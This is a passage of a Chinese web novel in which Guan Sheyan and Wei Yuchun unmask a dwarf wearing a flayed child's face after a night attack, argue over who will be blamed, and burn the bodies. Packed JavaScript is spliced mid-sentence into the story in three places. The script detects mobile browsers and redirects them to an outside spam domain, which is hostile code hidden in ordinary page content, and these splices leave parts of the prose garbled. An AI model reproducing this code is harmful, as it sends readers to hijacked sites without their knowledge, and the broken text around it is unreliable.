魏郁春闻言,眼眸垂下,应是在思索。而后,她又朝院中四方望去,破败之相随处可见,屋门窗门碎的碎、烂的烂,灶屋里蓄着灯油的灯盏被尽数推翻,一股焦味儿弥漫四周,还有三具尸体分别散布在灶屋、大间后和前院中,猩红的血泊触目惊心,骚动的夜风把腥气送到她的鼻腔,比起带着哭腔的哽咽,胸腔里的呕吐感则更难压抑。 冯家什么时候变了天? 为什么……事情会变成这样? 她处在快要崩溃的临界点,一时无知无措。幸好眼前还有关阇彦代为指引,否则她只怕是要做一晚上的无头苍蝇。 关阇彦清楚她现在是什么心态,一个没见过多大市面的弱女子,不仅要面临家中如此大的变故,还得亲手杀人见血,魏郁春没有晕过去,都足够令他称奇了。 当然令他忧心的还有一事,自从他来到这户人家后,冯家的变故就是一个接一个的到来,即便他明白这群黑衣人的目的不是自己,却也无法辩驳这一事实。魏郁春这般聪明的女子,她不会想不到这一点,日后问罪起他来,定是百口莫辩,难逃干系。 趁现在还有挽回形象的余地,他还是放下自己高高在上的架子,好好去讨好魏郁春吧。 关阇彦如是想着,就主动走上了前,抬手抚上她的发顶,有些抱歉地说道:“如果太难过的话,就放声哭出来,别憋着了……我方才见你一直在隐忍。” 魏郁春摇摇头,问他:“这群人还会再来吗?” “我不知道,”关阇彦愣道,“但今晚应该不会了。” “他们到底想做什么?” “一时半会儿说不清,等你缓过来,我就带你去收拾尸体,到时候你就明白了。” 魏郁春复抬首望向他,泪盈盈的目光在月色下泛着银白色的涟漪,她默不作声,没有发问,却仿佛无时无刻不在提醒着关阇彦有没有别的话要对自己说。 关阇彦紧张地咽下半口水,悻悻怏怏地放下抚在女子发顶的手,吞吐道:“我知道我身上有很多可疑之处,但此事真的与我无关。” “想必你也好奇为何我这么晚回来,还是这副负伤之样。今晚你目睹了这些,我就什么都不瞒你了。” “昨日我答应你爹娘要替你采药,今日午后上山将回时,碰到了一具被人故意放在我回程路上的死尸,尸体的主人我见过,是雨夜土地庙中和巧儿打斗的野孩的其中一个。我从尸体表露的种种现象断出他的死亡时间,最符合的时间点就是那日暴雨之夜,整个孩子极可能在跑开郊外后就遇害了。然后我在他身上发现了真正夺他性命的伤口,是一只剑伤,刀口大小,目测和雨夜那个伏击于暗处的黑衣歹人手里的武器一致。” “黑衣歹人?你先前说过他是王叔。”魏郁春纵使神智惊慌,却还能迅速理清思路。 关阇彦喟叹一声,摇摇头回应道:“非也。知道我为什么要说剑伤才是真正夺人性命的伤吗?有真又有假的东西最误人耳目。” “那个孩子脖子上还有很明显的勒痕,正常人看到了就会以为他是被勒死的。若不是我推断出他的死亡时间,觉得可疑,就不会看到被藏在他腰后的剑伤,那个伤口还被暴雨冲走了血痕,泡烂得发白,和尸体腐烂的皮肤融为一体,难以分辨。所以杀人凶手分明是不想让我找到这个剑伤。因为,他不想让我发现王叔和黑衣歹人并非同一人。” 他说的话虽然处处符合现实,却因为还没有交代清楚后期村郊他和黑衣人们交手的事情,听起来就十分云里雾里。 魏郁春绞尽脑汁也没有体会到他的话意,只好听关阇彦继续交代下面的事情。 “我当时还没有意识到这个点子暗示了什么样的线索,我还以为王叔就是雨夜里的歹人,并且以为这件事情早就告一段落。这个尸体突兀的出现,让我生了满腹疑团,我再度怀疑上了王叔。因为王叔刺探我那天,就被我识破了真身,他亲口承认自己是黑衣歹人,说他是迫于生机才听了集市老书生的谗言做了歹事,事后又说自己没有害成过人,之后更是不会害人。” “如果他没有撒谎,这个孩子的尸体又是怎么回事?” “我找不到事情的头尾,只好去事发现场一探究竟,也要找王叔问个清楚。但天色已晚,我选择先做前面这桩事,结束后回了村再抓王叔也来得及,还能避免打草惊蛇。” 关阇彦眼神微移,腥杀之气从中飘过,却很快不见,他嘴角扯出一个凉笑:“我去了村郊,发现现场的痕迹确实大有玄机。” 他简单明了地说了村郊草野那个诡异人形印记,以及其下植物尖刺所钩衣物布料与印记的关系。大致还原出了他推断出雨夜黑衣歹人和王叔不是同一人的思路,说给了魏郁春听。 “既然如此,黑衣人杀死孩子后遮掩伤口,就是为了防止你怀疑那个人形印记。倘若没有那个伤口的线索,你心里无底,亦不会这么快找到黑衣人身份的可疑之处。” 魏郁春代入关阇彦的思路,静静地说着,语音萧索,底下藏着说不清的波涛汹涌,她不过还是在逼着自己隐忍。 关阇彦回应她的时候,多带了几分欣赏:“没错。后来草野之外的密林异相丛生,一个身着黑衣的人形窜动其中,鬼迷心窍下的我认定他就是真正的雨夜黑衣人,追了上去。” “之后才意识到这是一场伏击,我没想到黑衣人会有那么多。他们中有人在我这里吃过亏,所以故意用丢在后山的孩子尸体引我到村郊,然后分出的另外一拨人就去冯家对你们下手。” 他想到了什么,旋即匆忙补道:“哼,这群家伙掐准了夜幕雾气多的时间,把我弄进林中,使我无法逃脱。他们不想让我通过剑伤怀疑到黑衣人和王叔的关系,怕也是想让我直接去村郊,避免我取近弃远,先去王叔那头寻仇。” “奈何我识破了他们的诡计,却还是着了道,”关阇彦道,“我手上中过余毒草的毒,林中之人打不过我就故意寻我此处弱点,重新撕裂了掌中伤口,逼我只能用一只手臂还手。余毒草一事发生在雨夜,除了你们冯家人,就只有和我对手的歹人知道。” “所以真正的雨夜黑衣人才能那么精确地伤到我的弱点,我故意试探回去,发现其中一人左腿行动滞缓,识出了他的身份。我故意示弱,让他们逃走,暗中追随其后,待他们带着我寻到出林之口,我才出手将他们杀了。也是那时,我意识到冯家这头的怪异,连忙赶回来,幸好一切还来得及。” 话都说到这个份儿上了,他索性把要洗清的伪罪都好好说了一通,然后他就接道:“该解释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447360|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的我都解释了,我知道你怀疑我,因为自从我出现后,村中就怪事不断,冯家也是连连遭殃。我自己心里很清楚,但事实证明这并非我引来的祸事。” 他本以为魏郁春会因此责难他,他明白即便有了苦口婆心的解释,对方遭了精神上的刺激也很容易是非不分。 于是,他怎么都没想到对方的回答是这样的:“今晚我见你迟迟不回,便在院中等你,而没有好好呆在屋子里。幸好如此,否则我早就命丧黄泉了。” 是啊,因为她也明白那些黑衣人之所有能无声无息地潜入家里,都是从她屋后的那扇窗子进来的,那群人暗中肯定有所谋划,以为她会和以往一样早早回屋休息,就想着顺手牵羊,自她入手将冯家人的性命纷纷拿下。 关阇彦匪夷所思地问了一句:“即便如此,你也不会迁怒于我么?” 正常人不应该都会这样吗? “你自己将人想的那般不理智,与我何干?” 魏郁春提袖擦了擦红肿的眼,其中脆弱之色转瞬不见,像是变了一场戏法。 她还是没有放声哭过,即便落泪也不会承认自己的委屈究竟是如何模样,遇上了天大的事情,她也害怕,却要装作自己不怕。她现在说出这一番话,意思很明显,就是在告诉别人,她很坚强,一点都不害怕,非常冷静理智。 鬼信…… 她自己不知道,关阇彦却看出了她不过是在自欺欺人。 关阇彦没作声,他踌躇了,因为他最是喜欢拆人台的不正经性子突然不敢作祟了,他觉得这性子作到魏郁春身上,其实有些过分。 魏郁春撸好了袖子,麻利地将水桶提来,泼在地上的血泊上,鲜血被冲淡。 她突然说道:“你若真心想害我们,何必等到今日?你明明可以逃走,却特地赶来冯家收拾惨剧,差点丢命。你没有这等义务,仅仅是不想被人误解就犯得着如此卖命。” “性子之高傲,沾不得一点赃污。我又岂敢再污你名节?” 她的话音幽幽,却带不上任何幽怨和拧巴的情绪。 她说话的韵调很特别,没有乡下人的浑气,反而惠及聪及,字字句句分明没有任何一处安抚或夸赞之语,却还能慰贴人心。 关阇彦又松了一口气,顾虑散去后,果断上前帮她拖走血泊中的黑衣人。 除了院中的黑衣人外,大间屋子里的黑衣人和灶屋里的男孩也被拖了出来,令他们二人意外的是,男孩作为三个袭凶人中最特别的存在,死后也不忘突显他的特殊之处。 这具尸体没有身着黑衣,更没有遮掩面容。乍一眼看过去,只好确认他是王叔家的儿子,年纪不过十岁,就连穿着的衣物都与之前看到的模样一致。 经历过被黑衣人和王叔之间不明关系牵着鼻子走的事情,又和这个男孩交过手的关阇彦,明确清楚这具尸体藏匿秘密。并且这个秘密很可能会成为揭露最后真相的关键密钥。 “你不是说要去寻王叔问理么?这具尸体……还要留着一起带过去吗?”魏郁春强行按耐情绪,问他。 “既然黑衣人可以不是王叔,同理,那他也可以不是王叔家的儿子,”说罢,他就上手去探查尸体的情况,他摸过尸体背脊后的骨头,顺其自然又摸到其腿脚上的骨头。 最后复抬回手,在尸体的人面上摸来摸去,不久后好像碰到了机关一样,果断由此揭开一块人皮,但可惜没有摸通其中门道,人皮几乎完全吸附在尸体面部,他至多撕开了位于下颌的面皮一角,露出了皮下一块粗糙灰黄的皮肤——质地与稚子之肤相差甚远。 此人竟长着两只人面。 “原来如此……”关阇彦暗忖一声。 他心情悲沉如死水,但至少胆子够大,面上看起来并无诧色。可他身边的魏郁春的状态很不妙,本就是在硬撑,谁知还没等心情平复就遇上了新的打击?她又开始战栗,为了不让自己出声,只好双手捂口,整张脸只露出一双满是惊恐的眼。 这并非因为她软弱,她只是从未遇过这般不择手段的谋杀之事,不知要如何面对,亦没学会要在这样的环境里自洽。 即便如此,寻常女人见了死人,哪一个比得过她? 18. 浮水真相 关阇彦指尖还提着那一角诡异的皮面,凑到眼前仔细观摩。见其虽薄如纸张,却暗含血管,皮肤的纹路、毛发乃至毛孔都一应俱全。 他喟叹道:“相传南禺诡闻蛊事遍地,看来此言非虚。这种脏东西我也是第一次见。” 关阇彦的家族虽是靠近岭南之地的岭阳人士,但追根溯源,老祖宗上上下下都是南迁的中原人,他自己也是地地道道的中原血统。所以他对西南南禺之地的印象,不比早前中原皇帝对南蛮东夷人的刻板印象好多少。 传闻南禺之地贫穷异常,山高水远,地势崎岖不安,常孕养阴雾,滋养生魂毒魄。此地天暖地湿,生养着极其丰富的物种,都是旁地见不着的稀罕物,茶叶为一,蛊虫为二,一个遭人喜爱,一个却遭人曲解唾弃。 南禺在几十年前就被先帝收服下,奈何其地势险峻,中央财政情势紧迫,难以经略此地,以至于拖到现在,才至多推动了其与西北、中晋茶马古道的经济流通。除此之外,中晋敷衍地让管辖岭南的都指挥使司分出一部分兵力,稍微有空帮忙看照南禺,以免南北流寇来回入境。 最开始时,中晋虽眼馋南禺茶税,却并为特意开化南禺的民风。导致南禺百姓对中晋之地的了解,仅源于三地茶马经济带动的消息联通。南禺野民多矣,多为不识字、不懂礼的田舍奴,通常来说,有些知识的人一般多为贵族、商贾和入过中晋的才子。 种种原因相结合,又在神秘色彩的遮掩笼罩下,中原人对南禺的印象都很差,久而久之,胡编乱造的乡间野闻都被说得越来越神乎了。 关阇彦虽对南禺印象不大好,但好歹作为负责督察此地军务的右都督,不会那么轻易被人带了节奏。 魏郁春微微回过神,不禁问他:“你是如何发现他面上的怪异之处的?” “我赶回来的时候和这个家伙交过手,他的眼神阴狠邪鸷,绝非稚子所有。他那身功夫也是如此。我近距离和这个孩子有过接触,单纯良善的眼神是无法掩饰的,我断定这个孩子和我之前见过的也不会是一个人。” 关阇彦不甘心地继续在尸体的面部寻找可以剥离人面的地方,不厌其烦地将人皮一点一点撕下,直到让这个人露出他原本的面貌。 即便如此他还不愿善罢甘休,手往他脖子上抹过去,好不容易抹下一手白粉后,才发现此地皮肤粗糙发暗,便知道这人没他以为的那么神通——他至多换了一张人面,无法将全身都套上一张完整的人皮,除去面容,其他地方是明是暗皆靠特殊的色粉调节。 他的动作让魏郁春看得眉头紧锁,毕竟这个场面确实很有“画皮”的味道,森森鬼气蔓延背脊,令人发怵。 她保持着旁观者的姿态,即便心惊胆战也不去做干扰旁人的坏事者,静静地等着关阇彦作出进一步的分析。 关阇彦指着尸体上,说道:“成年人的脊椎往往定型,稳妥的二十六块骨头块儿。然而幼儿却不同,后腰骶处往往要比成年时多出几块骨头,从出生起到成年,会慢慢从五块融成一块。我摸着他脊背的结构,估摸他的骨头块儿只少不多,最多也是二十六块,形状完整。此子若真是十岁,不可能这么快就长成了脊骨。” “我还摸了他髋部和腿部的骨头构造,粗壮程度远超稚子,否则他的骨头难以撑得住他腿步腾跃时的压力。” “这是侏儒之人假扮的孩童。” 关阇彦回眸又瞥了一眼尸体渐渐冰冷发青的面容,分明是一只被强行压榨了五官大小的成人面容,除了脸型大小,其余都和稚子毫无干系。 魏郁春心中隐约有了答案,但迟迟不敢确信,只好问关阇彦:“这张覆在他脸上的面皮从何而来?” “如此精细的面皮难道还指望是人为制造出来的么?”关阇彦也倒吸了一口凉气,“多半是生生从活人脸上扒下来的,真正的孩子怕是凶多吉少了。” “不只是他,整个王家可能都是如此。” 关阇彦快速回想过往种种,他的心犹如被巨斧劈开,钝痛之下翻滚的是腥味极重的血色真相:“我方才说过要与你言明这群人的目的,你仔细听好,也做好心理准备。” 魏郁春忙应道:“你说。” “雨夜那天,我与歹人对峙,他仓皇逃走时,我清楚地见到了他脖子后有一只形状不明的胎记。之后,王叔被我戳穿意图,他承认自己是歹人,所说种种天衣无缝,我后期怀疑他还去了集市找老书生印证。但我特意观察过,他脖子后没有半点胎记的影子。那时我也懵,只以为是自己夜里看错了。” 他顿了顿,自嘲似地弯了弯长眸,凉道:“今日后山出事,我隐约察觉王叔和歹人关系特殊,后去村郊查看痕迹,我便知道雨夜那日我并没有看错什么。胎记一事,也被我当作了断定王叔和歹人并非一人的证据。” 他复抬眸看向站在他身后的魏郁春,冷笑:“你猜后面我抓到那歹人后发生了什么?” “他虽面不似王叔,但脖子后的确有你所说的胎记?”魏郁春愣道。 “没有,他脖子后没有。我也心惊于此。而且就算我看到了胎记,也断不会想到这些人有换面这样邪性的本事。” “那个歹人死前同我说过一句话,‘你看到的未免就是真实的’,”关阇彦继续说道,“后来我忙回古溪村,也没细究他的尸体异样。” 他用手继续在眼前侏儒人的尸体上用了抹了一把粉末,细细在指尖摩梭,忖后迟言:“这不是普通的白粉,是特质的可以附着于皮肤油脂上的粉末。我手上还有水,如果不是有意用力沾水搓洗,根本无法识破白粉下遮掩的东西。我想,那歹人的胎记可能就是用这种粉末遮住了。暴雨那晚,我之所以看到了胎记,也是因为粉末被雨水冲散了。” 既然思绪已经被牵引到了歹人身上,关阇彦自然立马想起,他那双令他感到既熟悉又陌生的眼神,他继续推测着:“歹人死前之语,恐怕也对应了之前我和王叔相遇的事。” “我怀疑那个时候,我以为的王叔就已经被掉包了……无论人的面相如何改变,他的眼神却是很难更换的,即便他再会演戏,相同不同之处依旧可以被捕捉,歹人的双目与‘王叔’很像。” 魏郁春知道他虽貌似轻浮,做事情却很有主张和逻辑,既然说出了口,就意味着他是有把握的。她问道:“你既说出推断,便有其他更有力的证据,对吗?” “嗯。之前王叔刺探我,是为了验证他的伤口是否危及生命,说是自己脑子不中用,认不出伤口。那他为何偏偏要来找我?不会这么巧合吧?” “但如果说他自己就是伪装后的歹人,歹人定不是村人,所以他不知道伤口是否有害,更无法通过伤口特征判断是什么样的毒。他忧虑之下,故意来刺探害他中毒的我,最合适不过了。” “他是断定我没办法看出他是用人皮假扮的王叔。若是我怀疑了他,他甚至可以当场捏造王叔就是雨夜黑衣歹人一事,打算瞒天过海。” 关阇彦补道:“若不是这具侏儒尸体,我怕是到现在还不知道双面人的存在。也是因此,我在知道王叔和歹人不是一人的时候,还在胡乱猜测王叔是不是歹人的帮凶。” 他还不忘带上村郊的种种发现,可谓思虑周全:“除此之外,若想留下村郊的人形草地,一个人必须保持同一个动作,长时间地躺在那里。我从那块地方捡到了村人布衣的布料,这个村人和黑衣人出没的地方几乎重叠。我认为这个痕迹多半是王叔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“当然。这群歹人消停的那几天,不仅仅是在等一个引诱我出走村郊雾林的机会,也是在给足他们自己时间,去处理包括王叔儿子在内的几具尸体。” 关阇彦话锋一转:“至于他们目的是巧儿的这件事,我也是刚确认。我方才杀人的时候,就在你爹娘的屋子,黑衣人故意用蒙汗药迷晕了你爹娘,是打算完完整整地把你妹妹从他们怀里抱出来。” “他们不想被人发现,也很忌惮你妹妹沾染血气,好似在遵纪某种仪式。后来我出现,屋子里的黑衣人气急败坏,才打算退而求其次,砍了你爹娘再……” 他用语粗糙明了,一时忘记考虑魏郁春的感受,他回眸间瞥到对方神色扭曲,才将话音戛然而止:“抱歉,总之,他们不想害你妹妹的命,是打算绑走她的。” “至于对你的待遇,你也看到了,专门派了个侏儒来杀你,他还特地谋了只面皮披上,就是想趁你放松警惕的时候杀掉你,唯恐你惊动四方,也算是不愿打草惊蛇的做法。” “可惜他弄巧成拙,那王叔的儿子今日未到我小学堂学习,我一看到这张脸便知道事情不对。”魏郁春不敢看尸体的面目,唏嘘叹道。 “这些人牙子大费周章,恐怕不只是要绑巧儿这一个孩子。不想打草惊蛇,可能是为了之后更方便去夺村里其他人的性命。”关阇彦不禁接道。 紧接着,他的寒毛顿竖,像是拉满了全身上下每一个毛孔的警报。 “冯迎春……” 不好的预感塞满他的胸腔,顺着他的血管汇聚到他的瞳中,看起来堪堪处于崩溃破碎的边缘。 他湿漉漉的睫毛还滴着水,眼看快要入眼,他也像毫无知觉般无所表示。 他打了个寒颤,显然不敢去预示明日将要面临的灾难:“你怕是惹上大麻烦了……” 19. 咄咄逼人 墨一般的天不知何时翻滚来好几片云海,将天地间唯二之一的月色全然盖住,周遭染着夜色的凉风安静下来,周遭化作一片诡异的阒然。 若不是还有几只萤虫相伴,提供了些许安抚人心的光点,魏郁春简直以为自己入了无间地狱。 本就遭遇今夜种种,她明面上没有太大的表示,可到底已成了只惊弓之鸟,略微一些风吹草动就足以让她难以心安。她本听了关阇彦说今夜不会再有骚动,才准肯自己不去胡思乱想,谁知道,他说出了这句令人胆寒的话? 她忽然希望自己不如入了地狱别再出来的好,因为她和关阇彦一样,不敢预见未来祸事。比起关阇彦,她更是不敢去面对。生死一事由不得她掌控,她再强硬,也抵抗不了源于凡人百姓心底本能对此的恐惧。 而关阇彦终究是自小见惯杀场血海,又是个闯荡不羁的性子,终是她一个只会耍弄笔墨的女子比不得的。 她久久难以回神,可不去面对,那些事情照样会发生,有什么区别吗? 她如是想着,逼自己硬着头皮向关阇彦要得一个交代:“这群黑衣人手段狠辣卑劣,在巧儿之前,是不是已有旁人遇害?比如王叔那一家子。” “你小看这些脏东西了。” 关阇彦将手掌在身上搓了干净,撑扶着膝盖站直身子,魏郁春看向他的眼神一下子从低变高,超了将近一个脑袋的高度。 他眸中阴郁,言辞亦是如此:“这群人暗中观察过冯家很久,甚至连你什么点入屋休息都摸得一清二楚,那么他们对你安置小学堂一事必然上心。他们之前不动你,也许不仅仅因为忌惮我,也可能是在等你小学堂开办第一日的这个时机。” “这群人如此煞费苦心,今晚遇害的人就极可能不止巧儿一个,而且其他遇害人应也是孩童,”他定睛看着魏郁春,盯得她浑身发毛,“他们杀了这么多大人小孩,却又想心安理得地不闹出水花。怕是想打算直接嫁祸于你。要不然你这小学堂怎么一开,就连连闹出人命?” “可不久前这个侏儒人是切切实实要我性命的,你如今此言,分明与事实背道而驰,”魏郁春顿道,将一些不安和恐惧转化成了不解。 关阇彦闻言低声冷哼一声,但并无嘲讽之意,反而无奈居多:“哼,即便是不杀你,你就能老老实实给他们定了罪?” 他眼神转回地面上躺着的侏儒尸,道:“人死了就能保密了,将你人皮一剥,还怕成不了披羊皮的狼?我和这侏儒男交手的时候听到过他的嗓音,可见这些人只要有心,声音都是可以伪装的。成年男人他们伪装得了,就连小孩也可以装得惟妙惟肖,扮作女人又有多难?” “你在村中不是有个大名鼎鼎的鬼名号吗?届时这些人打打配合,说你恶鬼转世,稍动诡计,说你杀人不眨眼,还怕村民们不上道?” “但他们今晚做事的手伸得这么大又这么长,还有意把你当成替罪羊,我估摸着他们也是打算杀了人、绑走孩子后就收手,毕竟如果之后还要作妖,岂不是把好不容易扣到你这只‘恶鬼’脑袋上的屎盆子又收了回去?那可谓是蠢到无药可救了。”关阇彦不禁嗤笑道。 但魏郁春是真的一点都笑不出来。 关毒彦言辞向来毒辣,站在魏郁春的角度上去看,他方才简直是已经将她当作死人,评判着她死后村中事会有如何走向。 要她还能扯出一点点笑意,她是真的要担心是不是这具身体的原主要回魂夺身了——毕竟,冯迎春才是那个不管听什么话,都不动脑子,只会笑笑呵呵的傻女孩。 “还有王叔那一家子,替代他们一家的假王叔和假孩子都死了,我估摸着他们家的那位病妻王氏也是凶多吉少了。除了我们两个人以外,谁会相信原来这一家子在很久前就罹难了?他们只会觉得这一家人是突然暴毙或者失踪于今夜的。” “冯迎春你知道你明天要面临什么吗?”关毒彦再度将重心点回魏郁春的身上。 “我明白。你也是现在才发现这群歹人最终的目的,是绑走巧儿,所以你回来的时候要救也只会顾得上我们家。这群歹人没能杀得了我,我们整个冯家都获了救。明日,村民就会发现村中有人丧命的丧命,丢失的丢失……”话到中途,她微微哽塞了起来。 “……所有人该出事的都出了事,唯有我家上下安好。如你所言,村里出事的时间刚好在我聚集孩子们来小学堂的这日晚上,所有人都会觉得我可疑。” “所以,你摊上大麻烦了。” “不,是我们都摊上大麻烦了。” 关阇彦神色僵住,完全是一副以为自己幻听的模样,他反问道:“你说什么?” 魏郁春放下卷在胳膊间的衣袖,默默擦了把红肿的双目,她嘴角牵扯出一个勉强却又狡黠的笑容。 “我虽被冠以恶鬼之名,但到底住在古溪村多时,那你呢?” 她突然仰起头,用那盯猎物似的目光死死咬着关阇彦不放,步步紧逼而去。 而关阇彦居然真在鬼使神差间,被她所慑住,跟着她的步伐往后推。 她的话音继续着,带着狠厉之色:“你这个身份不明的家伙刚到我家,村中就出现了这一连串的诡事,站在你自己的角度上来看,难道你就不可疑吗?” 关阇彦察觉到她身上的威逼之气,面色迅速沉下去,也不退缩了,就这样杵在原地,任由距离自己仅仅一步之遥的魏郁春将鼻尖凑上去,显然快要两两相碰。 “冯迎春,你莫要越距。” 魏郁春的眸边被湿泪侵染得通红,她鼻尖偏去,眸光凉凉地看向一处夜色,嘴角亦是凉笑:“你说那些黑衣人是等着小学堂的时机到了犯事,好把罪名扣在我头上?可你别忘了,我和小学堂都在冯家,你也在冯家……他们有本事乱扣帽子,我便不能了吗?” 她将声音刻意压低了一些,踮着脚凑到关阇彦的耳畔喃喃道:“那些村民至今只知道你是突然出现在村中的,完全不了解你的内幕和来历。” 关阇彦兀自哼笑一声:“所以你在威胁我?怕我今晚跑了,留你一人收拾这烂摊子么?” 而后,他毫不留情地将这个突然不在意边界感的女人推开了,忍着一只手的麻木,愣是逼出力气将两臂合抱在了胸前,半只侧脸高高扬起,眼里尽是高傲和鄙夷——他本以为此女当属人中豪杰,看着有勇有谋、冷静自若,实际上还不是因为畏死,而不惜一切代价达成目的?还真是难为她突然舍弃了之前那一套男女授受不亲的原则,叫她暴露了真实的本性。 他最是轻视这种但求苟命不求名节骨气的人了。 魏郁春自是明白他眼神里的东西,但她好似没看见般,继续说着:“如果你离开了,无需我在村人面前挑唆你的不明身份,大家岂不是都会以为你是畏罪潜逃了?” 关阇彦很不喜欢魏郁春现在身上那股咄咄逼人的气息,其极具危险性,让他时时堤防着自己领域是否会遭到冒犯。他是有股想去斗争的冲动,可对方毕竟是女子,他绝不会无耻到用武力和一个女子置气的地步。 于是,他还忍着不适感,强按耐着冲动,默不作声,任由魏郁春先撒泼。 “并且,我并非怕你今晚跑走,而是为了你好。” “为我好?”他眯眼冷笑。 魏郁春还在格外认真地威胁着他:“与其一个人在外受苦,不如和我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447362|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做一根绳子上的蚂蚱,相互有个照应,不是么?” “我现在终于是看明白了,冯迎春你的心,貌似是黑碳填的。” 先前她还是一副小白兔样,楚楚可怜,容易受惊。原来是扮猪吃老虎,他关阇彦算是被摆了一道。 “呵呵呵,”关阇彦垂眸晃了晃脑袋,不看她那急迫又格外较真的神色,嗤笑起来,“而且谁说我要跑了?我只是没想到你这么舍不得我走。” 魏郁春懵了,她张口动了动,仿佛有千言万语堵在喉尖,最后她只说了一句话:“你先前说过要走。” “之前那些都不是我真心想说的,你要听听实话?” “我的确是遭遇了不测才被你救到村中,后来你妹妹巧儿的事情发生,我认为这么偏僻的地方不可能会有这等身手的人出没,直接以为他是一路追杀我到村里的家伙。我说我要离开,并不是我真的急于去做什么,毕竟我的伤并未好全,不会蠢到自掘坟墓的地步。” “我只是不希望你们无辜的村人因为我而受牵连。但我的确还是不确定雨夜黑衣人的目标到底是你还是我,于是想着帮你解决完当前的麻烦,再离开也不迟。我之所以去找集市老书生,也是为了了却这些麻烦。” “但现在看来,那些黑衣人好似和我没什么关系,我根本没有必要担心你们被株连,也没必要提前离开。丑话也说在前头,对于我的身份,你不许打听也不许对外谣传什么,我什么都不会告诉你。” 他特地着重强调了最后一句话,在他眼里,魏郁春已是见风使舵之人,若叫她知道了自己的身份,岂不是要被此女的心机缠死?以后这还了得?! 再者,所谓的官爵权势,那也得有人奉承或者畏惧,才有效用。他人都在南禺苟且多时了,身份早就没有说出去的必要了。反正他本就不在乎这个,怎么舒服就怎么来,倒省得引来灾难——关于追杀他的人,他至今还毫无头绪。 “所以,我并非真心要走,更不是那种见死不救、急于和人撇开关系的人。你当我是你么?”回过神来,关阇彦又道。 魏郁春眸光顿闪起来,她神色不济:“你当真如此好心?” “你管我是真是假?你今晚之举完全不顾旁人情面,看我的眼神活似盯着临死前最后一根稻草。我就是原本要履行承诺要走的人,今儿后也得留着这儿自证清白,好显得你更加心胸狭隘。”他言辞极其犀利。 “当然也有条件,我得继续住你家养伤,吃喝住都靠你,我不负责任何报酬,你的救命之恩也得算在里头,我不另外负责其他的麻烦事。” “对了,有句话也还你一声——你自己将人想的那般没良心,与我何干?” 很熟悉的话术,是魏郁春不久前用过的招式,他特地如此说话,故意将讽刺性拉满。 说罢,他转眸而去,他的眼底蓄满了黑漆漆的冷色,寒彻人心。他倒是记仇得很。 魏郁春已然预料到从今往后,都要遭此人摒弃嫌恶,可那又怎么样?她和他有不同,所谓名节抑或是尊严,能当饭吃吗? 她望着继续处理尸体血迹的关阇彦,对着他心中默默说道:“只有真正惨死一回才知道生命诚何可贵……” 那种痛和绝望她不愿再遭一次。她也更不希望冯家在她眼前反复遭难。她本是偷生之人,本就对冯迎春和冯家包含愧疚。 为了安心,她必须要好好代替冯迎春保护好这家人。为了私心,她也必须好好坚持着活下去,有朝一日回那噩梦般的朔州府,不为复仇,但求亲眼看看母亲是否安好。 想罢,她不得不在明面上暂时放下对关阇彦的喜恶,跟着他的动作,一起迅速收拾残局。 20. 夤夜尸火 夤夜过半,幸得冲洗及时,那些落在地面上的腥土和血迹才能被清了大半,至多一些残余物,也可被夜风吹散抑或是吹淡。 关阇彦拖着半残的身体,在冯家阴面处不易被人察觉的空地处,挖了只泥坑,让魏郁春把自从冯家夫妻残废后就落了灰的单轮车推出来,把三具尸体一个接一个地全部推进了坑里。 近来天气炎热,南禺湿气又重,这些尸体光是丢在什么地方埋个大半天,必会发酵出一股极其引人注意的尸臭味。所以这些尸体必须要藏得严严实实,光是靠埋起来怎么够呢? 魏郁春将灶屋里被吹灭了的灯盏,连着灯油全部捧在了怀里,将尸体表面淋了个七七八八,用火寸引出一小簇火种,落入坑中,眼前瞬间炸开一丛艳丽的火光。 他们所在的空地周边不远处冒着很多丛野草杂木,高度堪堪能在远处,好似兀自围成了一只暗绿色的结界,将他们和火光大致掩住。而关阇彦挖的泥坑又有些深度,若不是以山鸟的姿态自山高处而望,完全不可能会发现此地有烧尸的痕迹。 在火光照拂下,魏郁春才终于看清,方才还态度强硬着与她对峙的关阇彦脸色,是多么地苍白,她记得他的手伤势最重,几乎没法动弹,于是趁对方还在注视坑中火势的时候,顺着他的肩头往下谛视。 她站在他的右侧,尽管左臂被衣物遮住了大半,却还是能看到手上触目惊心的伤痕。 他的虎口似被利器大伤,一条极长的血痂凝在表面,伤口沾了不少泥灰,边缘皆是微黑色的不明脓血。他不久前又是与歹人缠斗,又是动手挖坑,伤口明显又撕裂开来了,汩汩鲜血又挤挤攘攘地从脓液和龟裂的血痂中涌了出来。 他手上这处伤口也被余毒草害过,伤疤方成就又破了,其中草毒必然没有完全清掉。 倘若不及时处理这些伤口,以后必会落下病根,这已经不是什么顾虑日后会不会落疤这么简单的事情了。 